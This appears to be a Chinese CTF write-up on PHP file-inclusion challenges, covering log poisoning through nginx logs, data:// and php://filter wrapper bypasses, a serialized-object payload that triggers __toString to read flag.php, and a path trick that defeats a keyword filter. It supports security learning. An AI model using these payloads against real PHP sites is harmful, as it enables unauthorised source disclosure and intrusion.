• CTF-include


    目录

    1、ctf.show_web4

    2、[ZJCTF 2019]NiZhuanSiWei

    3、[BSidesCF 2020]Had a bad day



    1、ctf.show_web4

    伪协议被禁了用不了 ,可以上传一句话在日志里面,然后连接。

    nginx的日志文件在/var/log/nginx/access.log或/var/log/nginx/error.log

    2、[ZJCTF 2019]NiZhuanSiWei

    1. $text = $_GET["text"];
    2. $file = $_GET["file"];
    3. $password = $_GET["password"];
    4. if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    5. echo "

      ".file_get_contents($text,'r')."


      "
      ;
    6. if(preg_match("/flag/",$file)){
    7. echo "Not now!";
    8. exit();
    9. }else{
    10. include($file); //useless.php
    11. $password = unserialize($password);
    12. echo $password;
    13. }
    14. }
    15. else{
    16. highlight_file(__FILE__);
    17. }
    18. ?>

    用data伪协议绕过文件读取:file_get_contents($text,'r')==="welcome to the zjctf")

    text=data://text/plain,welcome to the zjctf

    然后用php://filter伪协议 让useless.php的内容显示出来:

    file=php://filter/read=convert.base64-encode/resource=useless.php 

     源码如下:

    1. class Flag{ //flag.php
    2. public $file;
    3. public function __tostring(){
    4. if(isset($this->file)){
    5. echo file_get_contents($this->file);
    6. echo "
      "
      ;
    7. return ("U R SO CLOSE !///COME ON PLZ");
    8. }
    9. }
    10. }
    11. ?>

    __toString  当一个对象被当作一个字符串被调用,构造file="flag.php"就行了:

    text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    源码中有这样代码:

    1. $password = unserialize($password);
    2. echo $password;

     password经过反序列化后是一个对象,用echo打印出来就是把它当做字符串,所以执行__toString()。

    3、[BSidesCF 2020]Had a bad day

    index.php?category=php://filter/read=convert.base64-encode/resource=index.php

    出现报错:

    1. Warning: include(php://filter/read=convert.base64-encode/resource=index.php.php): failed to open stream: operation failed in /var/www/html/index.php on line 37

    很明显多加了个.php,把.php去了:

    index.php?category=php://filter/read=convert.base64-encode/resource=index

    出现源码:

    1. $file = $_GET['category'];
    2. if(isset($file))
    3. {
    4. if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
    5. include ($file . '.php');
    6. }
    7. else{
    8. echo "Sorry, we currently only support woofers and meowers.";
    9. }
    10. }
    11. ?>

    直接包含是不行的: 

    category=php://filter/read=convert.base64-encode/resource=flag

    要woofers,meowers,index在里面而且不是第一个字符才会包含:

    category=php://filter/read=convert.base64-encode/index/resource=flag

  • 相关阅读:
    盲打键盘的正确指法指南
    【苹果家庭推送iMessage】软件安装应用程序访问HealthKit HomeKit
    【蜂鸟E203的FPGA验证】Chap.9 FPGA平台硬件验证
    VSCode官方历史版本下载
    LeetCode算法栈—验证图书取出顺序
    解决recovery页面反转的问题
    网络安全学习--操作系统安全防护
    微服务的艺术:构建可扩展和弹性的分布式应用
    【C++】泛型编程 ⑪ ( 类模板的运算符重载 - 函数实现 写在类外部的不同的 .h 头文件和 .cpp 代码中 )
    互联网的智算架构设计
  • 原文地址:https://blog.csdn.net/qq_61774705/article/details/126323696